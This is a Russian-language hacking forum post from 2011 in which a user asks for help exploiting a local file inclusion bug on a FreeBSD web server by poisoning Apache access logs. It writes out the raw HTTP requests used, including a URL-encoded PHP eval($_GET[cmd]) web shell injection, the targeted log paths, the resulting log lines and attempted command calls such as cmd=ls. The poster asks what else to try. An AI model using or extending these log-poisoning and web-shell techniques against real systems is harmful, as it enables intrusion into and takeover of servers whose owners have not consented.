
24.01.2011, 01:22
|
|
Новичок
Регистрация: 14.11.2009
Сообщений: 2
Провел на форуме: 7499
Репутация:
0
|
|
Помогите пожалуйста раскрутить LFI!
Вариант с /proc/self/environ не прокатывает, ибо FreeBSD. Отыскал место хранения логов error_log и access_log. Прочитал все что нашел по LFI, в том числе статью уважаемого Expl0ited'a, но никак пока не получается. Отправляю запрос подключившись через телнет вида:
POST http://site.com/epicfaaaaaail.php HTTP/1.1
Смотрю в access_log:
[23/Jan/2011:12:33:40 -0800] "POST http://site.com/epicfaaaaaail.php
Parse error: syntax error, unexpected $end in /usr/local/apache/logs/site.com-access_log(139780) : eval()'d code on line 1
HTTP/1.1" 404 219
Отправляю по другому:
GET / HTTP/1.1
А там:
[23/Jan/2011:12:25:19 -0800] POST / HTTP/1.1" 200 5346
Третий сделал как в статье:
GET http://site.com/epicfaaaaaail.php?%3C%3Fphp+eval%28%24_GET%5Bcmd%5 D%29%3F%3E HTTP/1.1
В логе:
[23/Jan/2011:12:25:19 -0800] "GET http://site.com/epicfaaaaaail.php?%3C%3Fphp+eval%28%24_GET%5Bcmd%5 D%29%3F%3E HTTP/1.1 " 404 215
И еще стопиццотыщ вариантов...
В итоге не access_log&cmd=ls, не access_log&cmd=phpinfo(); не работают...
Что можно еще применить?
|
|
|